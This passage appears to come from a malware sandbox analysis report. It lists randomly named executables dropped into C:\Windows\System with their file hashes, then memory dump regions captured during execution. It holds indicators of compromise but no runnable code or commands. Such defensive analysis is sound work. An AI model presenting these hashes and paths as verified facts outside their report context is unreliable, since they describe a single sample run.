Filesize
2.1MB

MD5
f7eff031354d58e032ef84dafb6a49f3

SHA1
e5843e8c9f2e328de27eb5814975435f5878f41f

SHA256
73f06fd9464e8d616e715da8584f80d1f9c8ef7d6d4e4dae51b8e62adaa22e51

SHA512
b0bd67065f456e6dfe84ca98ceb0a75b6bd47d65190c4f2ccb8f5f8f83c19778dfcb7595a29b137b08d84d3067dd3a8162431d0987b3f5c5e572af83e6b634f6

Download Submit
C:\Windows\System\hKOgrIh.exe

Filesize
2.1MB

MD5
39302dd4edae3c98ee21a99ba861a752

SHA1
16a100e4d9edb1f63e6d7132f0fc540f4613a5f1

SHA256
79a2e68fea239522125e2a934e29189dd1c55031266f27119418a0b4ed9c1d51

SHA512
4ed7fafd899ac9468d51ca8a2f19c8061c906a6955f2a5d63b060839939d6483f37dfd079feab8934db0c0d0d4a1a367188cb321713c824c099e14de9ebe63d1

Download Submit
C:\Windows\System\hdmByeS.exe

Filesize
2.1MB

MD5
de4526340db1d99b680edf63230dc017

SHA1
4e544fde3111e4f57f512fad3e97f93b60cfa2af

SHA256
22554290fff70d05a0e5e77e0bb9adfe9b5fee523e70a1446ec24e69dbcac476

SHA512
ca97a367a5c52b19ca0514b1ad72864d0d575f7a2e4e3067ee258f8d64e433d2b78d730f78483759a6a169e3785601d4ceffd2d422472c6233164c183a077d5d

Download Submit
C:\Windows\System\ifUOKrG.exe

Filesize
2.1MB

MD5
89e349f4b42a70363ea903fc3f8d2e14

SHA1
8fbdfb8ba14662d1bf9cebd082c6651d4677941a

SHA256
420119cc0fa90c542d80086c858d64a51a77e8fc86b89bfdcb96627aa5b3c5af

SHA512
101bfd5e8fd3eb52f73903ba66f80dac2ff0f7c594dbfcc2ab9436d6c2871ac650932a4e5d3586e5c7a028dfa831fe884d9d562bf6d21050df366df721e369b8

Download Submit
C:\Windows\System\juldnIC.exe

Filesize
2.1MB

MD5
64c10e10387b7f52fbf051d87a263d10

SHA1
6a8a7fc8116f21ac7fd9b6aac69d631f338caca5

SHA256
b6e55d40e188c206c43bc4655bb00898de7f42f88801fccc47b0d355225f1cd4

SHA512
b63202d5fd50acbb46c8f8b2bd6199b8eb8cd3bb1470f0ff15e76f34defd9e2857581275294687d41096115a8f2b0e7ed4d3a23f71301fd4fc3d3cf1204ddf9c

Download Submit
C:\Windows\System\lAQMIGf.exe

Filesize
2.1MB

MD5
202cb2341291960800bfb3fbf1b26477

SHA1
e6a083d19f19b664bfc5f7080c1413158dbf9eea

SHA256
1e0fd2b40a45d3b4018a3d81f93f9a41da8493ab5996805965a5daa3ed96375b

SHA512
a9bb2f48c6e3ef9a19031b89b22306f265a9456914c438001f44afb7d37ab937dbe600387b5aa7c1e2415822c8bbb625e909da1ab51d5fa40fa8f46cf03cfdfb

Download Submit
C:\Windows\System\lvxSZMh.exe

Filesize
2.1MB

MD5
f597ad667027a6c907b5f97d8f4b5ae0

SHA1
0a379bb5ebf160cc6501d53f7420afa5e5978d2f

SHA256
28d3cf050ae33d4dc9fac633df395c3e003e08c998ab965b3b1970bc6ff45a79

SHA512
89a08943233b789dcdecfcb03e353c084914adea5c4eaaa712db5b55fcc90e1e439e52e3c8d8a1bfb1c0e14f52ed48b906b8aac4ca08a81f24cf5dc49a531a5b

Download Submit
C:\Windows\System\njqlCgx.exe

Filesize
2.1MB

MD5
b6eb5dcdfa2e5a239700c4bc6c6f45cf

SHA1
066c115a8157b10fc9e83ca624ae4be9f22c4e6f

SHA256
0fa305d4b7293480f2689134bce9d410585fdaa4082813033303579557154223

SHA512
142175f4a84b72db5db00e3de82f4ab747acd41704b69ff72002d9a0f7f02c0655f74807ef426b9bf6e8ca1a5da9d64ceee27a5f5ebc9740e727a98e05ea74b0

Download Submit
C:\Windows\System\qxYiAQp.exe

Filesize
2.1MB

MD5
b535e9520801bb75ee5e74b10c5879d7

SHA1
070b886593fb32e379df7dbaa624bf005432d413

SHA256
36796dc5adbd570c657e1bee1b0a8249393a1bdbae0175f23540549a8fc5b4f5

SHA512
d3793202f494f4c49bc18b9cdfa57577109207ea8495b6693bac54459735325002b23252e2125534282c0e1847da4b6b10cea6f09c60714485800612e164b84a

Download Submit
C:\Windows\System\uMOfcow.exe

Filesize
2.1MB

MD5
bf25650e39564856efeceac64ca058da

SHA1
b7ab4c2741e0aaf74d29d5e23e9398e45aac58d7

SHA256
322c79da6b481fd2994b2a194975b17c857b6ec3a281554f48861607f4a3a60e

SHA512
996a8c5a7589a6ea0f597cd608fbd3c88f1b9fe5cf91d11e0d2b43ed6ac34f329388f73515520eb8a832f70f59509d03349f643029bb71f4c35ef8bc8d032870

Download Submit
C:\Windows\System\uRGuocJ.exe

Filesize
2.1MB

MD5
858679beaacc8f0f3bf70d3d41c7fc89

SHA1
05a9c6917eca0c9d0e71dadd9dd2d3880b969e10

SHA256
5433dc82727e787da6cc7283627ec6060f1c7d67a8f209c5f522fe8232bc5778

SHA512
930fa1c2ca597bfc905727956c98e9111e071b73aa38c5360d19fcf96b0ea469de8b714583fdccd2d82c78c79215fdac1ccaa4de26b099a0115e2e6b32b4e4f0

Download Submit
C:\Windows\System\vIotvZB.exe

Filesize
2.1MB

MD5
e1a7edd23192584edc29ff75e28707fa

SHA1
81392ec5337c699e30444629d2b4743cacc92834

SHA256
c3e52b8856ddb9af0c2b4531e17da0092550ff4164efc779608c22da005dee6d

SHA512
cb3e73c3f8601bac8e63e59df90a208480cfb19a80230dc63fa95b506b288b36d19f70c40c118d5adf7a5f6b18c75b8cccbaa74b04281c22be7560f5b8202fcc

Download Submit
C:\Windows\System\vfpqvae.exe

Filesize
2.1MB

MD5
a54efef9b645e274d06f7bc5bb7b99f5

SHA1
468953cc59482625abb9f563ff015b8f203240ab

SHA256
91581770eb594d5d39b9726c66ae473a86c313c3eeca16a85dd3197932df1743

SHA512
abb32d5afb3ba5d7d55b3d03dd561e28ac346fc5947e483e4c6a436740c57f3f5e4ab7fac8c6d3d074b6cc9c66a3d1edf7e7f42c97af2afa7b539e77b9b7f206

Download Submit
C:\Windows\System\wUyxmvk.exe

Filesize
2.1MB

MD5
2d45152c84ab5f8eb7d8668a8a1f857a

SHA1
cb2bf60b8f8b6fac715703f42f65996156a2c2f6

SHA256
484e5f2387d26d6a24731c1fe85e1963eb0d72e420c874221014e1d17ba802d8

SHA512
3cb61ff10cf1c27b576e389597ac367726a1ec4fb19fa248b5f53ab9fe9400b3a55981b608fc54cecfb64d80044999fc209c64a2ca764f93dde01a8d7c2da9c5

Download Submit
memory/960-60-0x00007FF63B4A0000-0x00007FF63B892000-memory.dmp

Filesize
3.9MB

Download
memory/960-2004-0x00007FF63B4A0000-0x00007FF63B892000-memory.dmp

Filesize
3.9MB

Download
memory/1372-517-0x00007FF6430F0000-0x00007FF6434E2000-memory.dmp

Filesize
3.9MB

Download
memory/1372-2082-0x00007FF6430F0000-0x00007FF6434E2000-memory.dmp

Filesize
3.9MB

Download
memory/1380-4299-0x00007FF6A9290000-0x00007FF6A9682000-memory.dmp

Filesize
3.9MB

Download
memory/1380-0-0x00007FF6A9290000-0x00007FF6A9682000-memory.dmp

Filesize
3.9MB

Download
memory/1380-1-0x000002571BC50000-0x000002571BC60000-memory.dmp

Filesize
64KB

Download
memory/1556-478-0x00007FF764900000-0x00007FF764CF2000-memory.dmp

Filesize
3.9MB

Download
memory/1556-2090-0x00007FF764900000-0x00007FF764CF2000-memory.dmp

Filesize
3.9MB

Download
memory/1996-488-0x00007FF765B10000-0x00007FF765F02000-memory.dmp

Filesize
3.9MB

Download
memory/1996-2080-0x00007FF765B10000-0x00007FF765F02000-memory.dmp

Filesize
3.9MB

Download
memory/2328-2002-0x00007FF65D300000-0x00007FF65D6F2000-memory.dmp

Filesize
3.9MB

Download
memory/2328-53-0x00007FF65D300000-0x00007FF65D6F2000-memory.dmp

Filesize
3.9MB

Download
memory/2572-2035-0x00007FF6FA9D0000-0x00007FF6FADC2000-memory.dmp

Filesize
3.9MB

Download
memory/2572-73-0x00007FF6FA9D0000-0x00007FF6FADC2000-memory.dmp

Filesize
3.9MB

Download
memory/2596-1968-0x00007FF740D80000-0x00007FF741172000-memory.dmp

Filesize
3.9MB

Download
memory/2596-36-0x00007FF740D80000-0x00007FF741172000-memory.dmp

Filesize
3.9MB

Download
memory/2804-454-0x00007FF6784A0000-0x00007FF678892000-memory.dmp

Filesize
3.9MB

Download
memory/2804-2042-0x00007FF6784A0000-0x00007FF678892000-memory.dmp

Filesize
3.9MB

Download
memory/2844-67-0x00007FF6876E0000-0x00007FF687AD2000-memory.dmp

Filesize
3.9MB

Download
memory/2844-2016-0x00007FF6876E0000-0x00007FF687AD2000-memory.dmp

Filesize
3.9MB

Download
memory/2988-2097-0x00007FF740AF0000-0x00007FF740EE2000-memory.dmp

Filesize
3.9MB

Download
memory/2988-495-0x00007FF740AF0000-0x00007FF740EE2000-memory.dmp

Filesize
3.9MB

Download
memory/3128-471-0x00007FF74A430000-0x00007FF74A822000-memory.dmp

Filesize
3.9MB

Download
memory/3128-2061-0x00007FF74A430000-0x00007FF74A822000-memory.dmp

Filesize
3.9MB

Download
memory/3180-33-0x000001B0D1F50000-0x000001B0D1F60000-memory.dmp

Filesize
64KB

Download
memory/3180-31-0x00007FF97B670000-0x00007FF97C131000-memory.dmp

Filesize
10.8MB

Download
memory/3180-4650-0x00007FF97B670000-0x00007FF97C131000-memory.dmp

Filesize
10.8MB

Download
memory/3180-8-0x000001B0D4070000-0x000001B0D4092000-memory.dmp

Filesize
136KB

Download
memory/3180-5632-0x000001B0D1F50000-0x000001B0D1F60000-memory.dmp

Filesize
64KB

Download
memory/3180-5752-0x000001B0D1F50000-0x000001B0D1F60000-memory.dmp

Filesize
64KB

Download
memory/3180-42-0x000001B0D1F50000-0x000001B0D1F60000-memory.dmp

Filesize
64KB

Download
memory/3180-235-0x000001B0D4D10000-0x000001B0D54B6000-memory.dmp

Filesize
7.6MB

Download
memory/3316-460-0x00007FF60DC10000-0x00007FF60E002000-memory.dmp

Filesize
3.9MB

Download
memory/3316-2044-0x00007FF60DC10000-0x00007FF60E002000-memory.dmp

Filesize
3.9MB

Download
memory/3368-2037-0x00007FF7873D0000-0x00007FF7877C2000-memory.dmp

Filesize
3.9MB

Download
memory/3368-85-0x00007FF7873D0000-0x00007FF7877C2000-memory.dmp

Filesize
3.9MB

Download
memory/3584-515-0x00007FF7996B0000-0x00007FF799AA2000-memory.dmp

Filesize
3.9MB

Download
memory/3584-2084-0x00007FF7996B0000-0x00007FF799AA2000-memory.dmp

Filesize
3.9MB

Download
memory/3616-498-0x00007FF64F850000-0x00007FF64FC42000-memory.dmp

Filesize
3.9MB

Download
memory/3616-2083-0x00007FF64F850000-0x00007FF64FC42000-memory.dmp

Filesize
3.9MB

Download
memory/3652-1997-0x00007FF6A67D0000-0x00007FF6A6BC2000-memory.dmp

Filesize
3.9MB

Download
memory/3652-50-0x00007FF6A67D0000-0x00007FF6A6BC2000-memory.dmp

Filesize
3.9MB

Download
memory/4576-47-0x00007FF7539E0000-0x00007FF753DD2000-memory.dmp

Filesize
3.9MB

Download
memory/4576-1988-0x00007FF7539E0000-0x00007FF753DD2000-memory.dmp

Filesize
3.9MB

Download
memory/4892-2091-0x00007FF648E20000-0x00007FF649212000-memory.dmp

Filesize
3.9MB

Download
memory/4892-524-0x00007FF648E20000-0x00007FF649212000-memory.dmp

Filesize
3.9MB

Download
memory/4908-1985-0x00007FF774E90000-0x00007FF775282000-memory.dmp

Filesize
3.9MB

Download
memory/4908-46-0x00007FF774E90000-0x00007FF775282000-memory.dmp

Filesize
3.9MB

Download
memory/5020-2030-0x00007FF714540000-0x00007FF714932000-memory.dmp

Filesize
3.9MB

Download
memory/5020-81-0x00007FF714540000-0x00007FF714932000-memory.dmp

Filesize
3.9MB

Download
memory/5116-1974-0x00007FF644C70000-0x00007FF645062000-memory.dmp

Filesize
3.9MB

Download
memory/5116-41-0x00007FF644C70000-0x00007FF645062000-memory.dmp

Filesize
3.9MB

Download